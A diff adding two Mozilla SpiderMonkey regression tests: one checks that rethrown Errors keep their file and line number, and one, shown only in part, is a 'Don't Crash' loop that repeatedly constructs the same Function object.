diff --git a/js/src/tests/js1_5/Regress/regress-243869.js b/js/src/tests/js1_5/Regress/regress-243869.js
new file mode 100644
index 000000000..483ca2ef1
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-243869.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+// testcase from Alex Vincent
+var BUGNUMBER = 243869;
+var summary = 'Rethrown custom Errors should retain file and line number';
+var actual = '';
+var expect = 'Test Location:123';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function bar()
+{
+ try
+ {
+ var f = new Error("Test Error", "Test Location", 123);
+ throw f;
+ }
+ catch(e)
+ {
+ throw e;
+ }
+}
+
+try
+{
+ bar();
+}
+catch(eb)
+{
+ actual = eb.fileName + ':' + eb.lineNumber
+ }
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-244470.js b/js/src/tests/js1_5/Regress/regress-244470.js
new file mode 100644
index 000000000..88b2e7a74
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-244470.js
@@ -0,0 +1,1079 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 244470;
+var summary = 'Don\'t Crash';
+var actual = 'Crash';
+var expect = 'No Crash';
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var g;
+for (var i=1; ; ++i) {
+
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
+ g=new Function("ABCDEFGHIJK", "1234");
